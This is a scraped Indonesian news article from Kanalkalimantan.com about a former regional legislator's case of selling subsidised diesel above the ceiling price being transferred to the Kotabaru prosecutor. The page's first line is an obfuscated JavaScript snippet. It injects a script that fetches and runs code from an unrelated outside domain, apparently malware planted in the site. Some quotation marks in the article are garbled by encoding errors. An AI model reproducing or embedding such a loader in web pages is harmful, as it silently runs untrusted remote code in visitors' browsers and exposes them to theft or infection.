(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Kasus penjualan solar bersubsidi di atas Harga Eceran Tertinggi (HET) yang melibatkan tersangka AN, dilimpahkan ke Kejari Kotabaru, Jumat (1/7/2022).
Sebelumnya, AN yang juga mantan anggota DPRD Kalsel ini, diamankan bersama 2 orang lainnya yang merupakan pembeli solar bersubsidi. AN selaku pemilik salah satu perusahaan Stasiun Pengisian Bahan Bakar Nelayan (SPBN) yang menjual solar pada kalangan nelayan di Kotabaru.
Kepala Kejaksaan Negeri (Kajari) Kotabaru, Andi Irfan Syafruddin, melalui Kasi Pidum, Seno Aji membenarkan ada penetapan tersangka terhadap 3 orang yang berinisial AN, K dan S.
“Sekitar siang tadi sebelum pelaksanaan shalat Jumat, kami (Kejari Kotabaru, red) menerima pelimpahan dari Kejati Provinsi Kalimantan Selatan atas perkara tersebut, sehingga perkara itu telah naik ke tahap dua,†kata Seno.
Baca juga : Pemko Banjarbaru Hentikan Potongan Retribusi Sewa Toko dan Los Pasar Bauntung
Diterangkan olehnya, untuk penanganan kasus tersebut awalnya dilakukan oleh pihak Polda Kalimantan Selatan, kemudian dilanjutkan ke Kejati. Hanya saja, karena lokasi kejadian atau peristiwanya di wilayah Kabupaten Kotabaru sehingga dilimpahkan kepada Kejari Kotabaru.
“Namun perlu dicatat, kami di sini sifatnya hanya membantu proses persidangannya saja. Untuk tuntutan pihaknya akan berkoordinasi dengan pihak Kejati Kalsel,†tambahnya.
Untuk proses pelimpahan berkas ke Pengadilan Negeri (PN) Kotabaru, diperkirakan dalam waktu 1 minggu ke depan selanjutnya sesuai penetapan dari PN akan diagendakan pelaksanaan sidang.
“Sesuai ketentuan, tersangka dikenakan UU Cipta Kerja Pasal 55 yang mana seseorang tidak boleh menyalahgunakan atau menjual meniagakan berkaitan dengan minyak bersubsidi, dan untuk ancamannya maksimal selama 6 tahun dengan denda paling banyak sebesar Rp 60 miliar,†jelasnya.
Untuk HET sendiri, lanjutnya pula, hanya pada kisaran angka sebesar Rp 5.150. Sementara tersangka menjual di atas harga tersebut. (Kanalkalimantan.com/muhammad)
Reporter : muhammad
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.